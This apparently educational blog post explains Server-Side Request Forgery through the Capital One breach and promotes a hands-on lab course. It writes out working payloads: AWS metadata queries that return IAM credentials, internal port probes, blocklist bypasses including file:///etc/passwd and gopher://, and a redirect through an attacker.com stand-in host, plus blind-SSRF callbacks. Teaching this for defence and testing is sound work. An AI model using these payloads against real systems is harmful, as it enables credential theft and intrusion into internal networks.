Server-Side Request Forgery turned a misconfigured AWS role into the Capital One breach. It lets attackers reach internal infrastructure — metadata APIs, databases, admin panels — that are never exposed to the internet.
In 2019, a misconfigured firewall and a Server-Side Request Forgery vulnerability let an attacker access the AWS metadata service from inside Capital One's infrastructure. The result: 100 million customer records exposed. The attacker used SSRF to retrieve temporary IAM credentials from the metadata endpoint at 169.254.169.254— an IP that's only reachable from within the cloud instance itself.
SSRF is consistently in the OWASP Top 10 because it turns the server into a proxy for attacking internal infrastructure that the attacker could never reach directly.
Server-Side Request Forgery happens when an application fetches a remote resource using a URL supplied by the user, and doesn't restrict what destinations that URL can point to.
Common legitimate features that accept URLs: link preview generators, image importers, webhook validators, PDF generators, RSS feed readers, remote file imports.
The developer's intent: user gives us a URL, we fetch the external resource, we return or process the result. The problem: the user points the URL at internal infrastructure.
Suppose a web app generates a PDF from a URL you provide:
POST /generate-pdf
{"url": "https://example.com/report"}Change the URL to localhost:
{"url": "http://localhost:8080/admin"}If the server fetches this and returns the response — or processes it — you now have access to the admin panel running on port 8080 that isn't exposed to the internet.
169.254.169.254 that return temporary credentials when queried from within the cloud instance.AWS EC2 instances have access to an internal HTTP endpoint that returns instance metadata including temporary IAM credentials:
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}This returns a list of IAM role names. Fetch a role name to get its credentials:
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole"}
Response:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2024-01-01T12:00:00Z"
}Those credentials are valid AWS API keys with whatever permissions the EC2 role has. In Capital One's case, those permissions included reading S3 buckets containing customer data.
Even without response data (blind SSRF), you can map internal network topology by watching response times and error messages. Open ports respond differently from closed ones:
{"url": "http://192.168.1.1:22"} # SSH — fast response or connection refused
{"url": "http://192.168.1.1:3306"} # MySQL — port open
{"url": "http://192.168.1.1:9999"} # nothing — timeoutThis lets you enumerate what's running on the internal network from outside it — useful for planning a deeper attack.
Applications often try to block SSRF with blocklists — rejecting localhost,127.0.0.1, and 169.254.169.254. These are almost always bypassable:
http://127.0.0.1 blocked → try http://0.0.0.0 or http://[::1] (IPv6 localhost)http://localhost blocked → DNS rebinding: register a domain that resolves to 127.0.0.1http://2130706433 is 127.0.0.1file:///etc/passwd, dict://, gopher://https://attacker.com/redirect?to=http://169.254.169.254Often the server fetches the URL but doesn't return the response to you — it processes it internally. Confirm blind SSRF by pointing it at your own server and watching for incoming requests:
{"url": "https://your-collaborator-server.com/ssrf-test"}If you see an incoming HTTP request from the target's IP, SSRF is confirmed. From there, exfiltrate data via DNS — the server can make DNS lookups even if HTTP is firewalled.
https:// if that's all you needEverything in this post has a live lab on hackr.gg. Spin up a vulnerable machine and exploit it yourself — no setup, no VPN, runs in your browser.
Open SSRF Attacks course →